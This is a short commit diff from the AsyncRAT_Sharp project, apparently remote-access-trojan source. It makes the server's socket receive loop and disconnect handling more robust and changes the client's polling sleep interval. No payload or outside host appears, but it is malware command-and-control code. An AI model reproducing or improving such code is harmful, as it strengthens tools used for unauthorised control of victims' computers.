Update
This commit is contained in:
parent
63afbfc91f
commit
7dc1a4c8ff
@ -39,14 +39,17 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
public async void ReadClientData(IAsyncResult ar)
|
public async void ReadClientData(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
|
|
||||||
try
|
try
|
||||||
|
{
|
||||||
|
if (!client.Connected)
|
||||||
|
{
|
||||||
|
Disconnected();
|
||||||
|
}
|
||||||
|
else
|
||||||
{
|
{
|
||||||
int Recevied = client.EndReceive(ar);
|
int Recevied = client.EndReceive(ar);
|
||||||
|
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
|
|
||||||
if (BufferRecevied == false)
|
if (BufferRecevied == false)
|
||||||
{
|
{
|
||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
@ -70,7 +73,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
await MS.WriteAsync(Buffer, 0, Recevied);
|
||||||
if (MS.Length == Buffersize)
|
if (MS.Length == Buffersize)
|
||||||
{
|
{
|
||||||
|
|
||||||
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
@ -79,12 +81,13 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
}
|
}
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -96,7 +99,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
public void Disconnected()
|
public void Disconnected()
|
||||||
{
|
{
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
if (Program.form1.listView1.InvokeRequired)
|
||||||
Program.form1.listView1.Invoke(new _isDisconnected(Disconnected));
|
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
LV.Remove();
|
LV.Remove();
|
||||||
|
@ -23,7 +23,7 @@ namespace Client
|
|||||||
InitializeClient();
|
InitializeClient();
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1500);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -143,7 +143,6 @@ namespace Client
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void BeginSend(byte[] Msgs)
|
public static void BeginSend(byte[] Msgs)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user